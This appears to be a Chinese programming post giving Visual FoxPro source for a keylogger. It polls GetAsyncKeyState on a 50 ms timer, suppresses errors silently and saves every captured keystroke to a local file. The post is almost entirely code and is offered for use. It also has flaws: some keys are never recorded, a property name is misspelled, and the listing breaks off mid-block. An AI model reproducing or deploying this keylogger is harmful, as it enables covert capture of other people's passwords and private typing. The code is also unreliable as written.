2024年3月21日发(作者:)
1、建立主程序,代码:
set talk off
set safety off
on error do myerror with message()
do form myfrm
read events
restore from mymem addi
strtofile(mykey2,"") &&是你记录获得的键盘信息的文本文件
save all like mykey2 to mymem
quit
2、再新建一个程序,名为myerror,代码:
parameters mess
return
3、新建一表单,命名为myfrm,表单属性whowwindow设为2,height设为70,
width设为115
在Init事件中输入代码:
_e=.f.
set safety off
DECLARE INTEGER GetAsyncKeyState IN user32 INTEGER vKey
publ mykey2,mykey1
mykey1=""
mykey2=""
在QueryUnload事件中输入代码:
CLEAR EVENTS
在表单中建一个计时器控件,属性interval=50,在其Timer事件中输入代码:
save all like mykey2 to mymem addi
For what=112 to 123 &&F1-F12
if GetAsyncKeyState(what)=-32767
mykey1='F'+transform(what-111)
mykey2=mykey2+"+"+mykey1
exit
return
endif
endfor
For what=48 to 57 &&主键盘0-9
if GetAsyncKeyState(what)=-32767
mykey1=CHR(WHAT)
mykey2=mykey2+"+"+mykey1
return
endif
endfor
For what=65 to 90 &&A-Z
if GetAsyncKeyState(what)=-32767
mykey1=CHR(WHAT)
mykey2=mykey2+"+"+mykey1
return
endif
endfor
if GetAsyncKeyState(32)=-32767
mykey1='空格'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(27)=-32767
mykey1='ESC'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(192)=-32767
mykey1='~'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(189)=-32767
mykey1='-'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(187)=-32767
mykey1='='
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(220)=-32767
mykey1=''
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(8)=-32767
mykey1='退格'
return
endif
if GetAsyncKeyState(9)=-32767
mykey1='TAB'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(219)=-32767
mykey1='['
return
endif
if GetAsyncKeyState(221)=-32767
mykey1=']'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(13)=-32767
mykey1='回车'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(20)=-32767
mykey1='CAPS LOCK'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(186)=-32767
mykey1=';'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(222)=-32767
mykey1="'"
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(16)=-32767
mykey1='SHIFT'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(188)=-32767
mykey1=','
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(190)=-32767
mykey1='.'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(191)=-32767
mykey1='/'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(17)=-32767
mykey1='CTRL'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(18)=-32767
mykey1='ALT'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(91)=-32767
mykey1='左WIN'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(92)=-32767
mykey1='右WIN'
return
endif
if GetAsyncKeyState(37)=-32767
mykey1='←'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(38)=-32767
mykey1='↑'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(39)=-32767
mykey1='→'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(40)=-32767
mykey1='↓'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(95)=-32767
mykey1='SLEEP'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(44)=-32767
mykey1='PRINTSCREEN'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(145)=-32767
mykey1='SCROLL LOCK'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(45)=-32767
mykey1='INSERT'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(46)=-32767
mykey1='DELETE'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(36)=-32767
mykey1='HOME'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(35)=-32767
mykey1='END'
mykey2=mykey2+"+"+mykey1
return
endif
if GetAsyncKeyState(33)=-32767
mykey1='PAGE UP'
mykey2=mykey2+"+"+mykey1
return


发布评论